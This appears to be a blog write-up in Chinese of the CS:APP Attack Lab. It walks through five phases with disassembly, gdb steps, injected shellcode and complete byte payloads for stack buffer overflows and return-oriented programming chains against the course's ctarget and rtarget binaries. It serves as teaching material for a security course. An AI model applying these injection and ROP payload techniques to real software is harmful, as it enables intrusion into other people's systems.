CSAPP 03 Attacklab
Attacklab Summary
1、phase1
先把汇编代码取出
objdump -d ./ctarget>>ctarget.s
生成的代码很长,查找以下我们需要用到的3个函数,分别是test,getbuf和touch1
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
将断点打在4017b9
b *0x4017b9
将运行时输入源设置一下
set args -qi ans.txt
运行后显示一下当前rsp附近的60字节
此处即为返回地址,将其设置成touch1的地址即可。
2、pashe2
反汇编touch2代码
0x00000000004017ec <+0>: sub $0x8,%rsp
0x00000000004017f0 <+4>: mov %edi,%edx
0x00000000004017f2 <+6>: movl $0x2,0x202ce0(%rip) # 0x6044dc <vlevel>
0x00000000004017fc <+16>: cmp 0x202ce2(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401802 <+22>: jne 0x401824 <touch2+56>
0x0000000000401804 <+24>: mov $0x4030e8,%esi
0x0000000000401809 <+29>: mov $0x1,%edi
0x000000000040180e <+34>: mov $0x0,%eax
0x0000000000401813 <+39>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401818 <+44>: mov $0x2,%edi
0x000000000040181d <+49>: callq 0x401c8d <validate>
0x0000000000401822 <+54>: jmp 0x401842 <touch2+86>
0x0000000000401824 <+56>: mov $0x403110,%esi
0x0000000000401829 <+61>: mov $0x1,%edi
0x000000000040182e <+66>: mov $0x0,%eax
0x0000000000401833 <+71>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401838 <+76>: mov $0x2,%edi
0x000000000040183d <+81>: callq 0x401d4f <fail>
0x0000000000401842 <+86>: mov $0x0,%edi
0x0000000000401847 <+91>: callq 0x400e40 <exit@plt>
得到touch2的首地址为0x4017ec
读懂题意后,我们能知道,题目要求我们再读入字符串后,去执行touch2(和phase1类似),但是同时要求我们把cookie的值设置成touch2的参数,也就是修改rdi的值为cookie.txt中的值(0x59b997fa);
和phase1一样直接返回肯定不行,所以我们要写一段汇编代码,要求程序修改rdi的值,然后再去执行touch2;
movq $0x59b997fa,%rdi
pushq $0x4017ec #将touch2的首地址push到栈上,rsp自动会指向它
retq #返回后,程序会将pc修改成rsp指定的位置,即跳转到touch2的首地址
将上述代码编译后再反汇编,得到下图形式;
gcc -c icode.s
objdump -d icode.o > icode_dump.txt
写完这段代码后,我们就只剩一个任务,就是如何让函数getbuf在执行Gets后跳转到此汇编代码处;
这里我们可以想到把这段代码的二进制形式放到栈顶处,并且将getbuf的返回地址设置成栈顶即可;
所以读入的数据可以写成这样;
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 #栈顶位置,此值可以通过gdb打断点后显示出来,如下图
3、phase3
读懂题意后,我们发现此题类似于phase2,不过传入的参数为一个指向cookie的ascii表示的指针,而不是cookie;
cookie:59b997fa
ascii:
141 97 61 a
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25 % 145 101 65 e
046 38 26 & 146 102 66 f
047 39 27 ' 147 103 67 g
050 40 28 ( 150 104 68 h
051 41 29 ) 151 105 69 i
052 42 2A * 152 106 6A j
053 43 2B + 153 107 6B k
054 44 2C , 154 108 6C l
055 45 2D - 155 109 6D m
056 46 2E . 156 110 6E n
057 47 2F / 157 111 6F o
060 48 30 0 160 112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165 117 75 u
066 54 36 6 166 118 76 v
067 55 37 7 167 119 77 w
070 56 38 8 170 120 78 x
071 57 39 9 171 121 79 y
072 58 3A : 172 122 7A z
cookie ->:35 39 62 39 39 37 66 61 0
touch3的代码反汇编出来,得到首地址为0x4018fa;
0x00000000004018fa <+0>: push %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
0x000000000040194f <+85>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401954 <+90>: mov $0x3,%edi
0x0000000000401959 <+95>: callq 0x401d4f <fail>
0x000000000040195e <+100>: mov $0x0,%edi
0x0000000000401963 <+105>: callq 0x400e40 <exit@plt>
需要注入的汇编代码
movq $05561dca8,%rdi #因为传入参数形式为char*,所以rdi中应该是一个位置(这个位置中存放cookie的ascii表示形式),为什么是0x5561dca8后面解释。
pushq $0x4018fa
retq
将此代码编译并反汇编后得到如下
silly@silly-virtual-machine:~/target1$ cat -n icode2_dump.txt
1
2 icode2.o: 文件格式 elf64-x86-64
3
4
5 Disassembly of section .text:
6
7 0000000000000000 <.text>:
8 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
9 7: 68 fa 18 40 00 pushq $0x4018fa
10 c: c3 retq
所以类似phase2将输入设置成
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 #cookie在此处,位置为0x5561dca8,由栈顶为0x5561dc78推出
00
4、phase4
题目要求使用两条指令完成:
popq rax ------ 58
movq rax,rdi ------ 48 89 c7
start_fram:401994
end_fram:401ab2
在0x401994 - 0x401ab2中间找即可58 和 48 89 c7即可
查找 58:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi) ---> 0x4019b9
查找 48 89 c7:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) ---> 0x4019c5
所以输入的字符串为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b9 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
5、phase5
在farm.c里找到了一个rdi和rsi的加法,本来想写如下汇编代码
movq %rsp,%rdi
popq %rax
0x30
movq %rax,%rsi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
touch3
0x25396239396661
结果一查第一个指令的代码就没有,应该是要找另外的寄存器调来调去,太晚了不想找了,直接抄了别人的。
movq %rsp,%rax
movq %rax,%rdi
popq %rax
0x48
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
touch3
0x25396239396661
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
06 1A 40 00 00 00 00 00
C5 19 40 00 00 00 00 00
AB 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
DD 19 40 00 00 00 00 00
34 1A 40 00 00 00 00 00
27 1A 40 00 00 00 00 00
D6 19 40 00 00 00 00 00
C5 19 40 00 00 00 00 00
FA 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通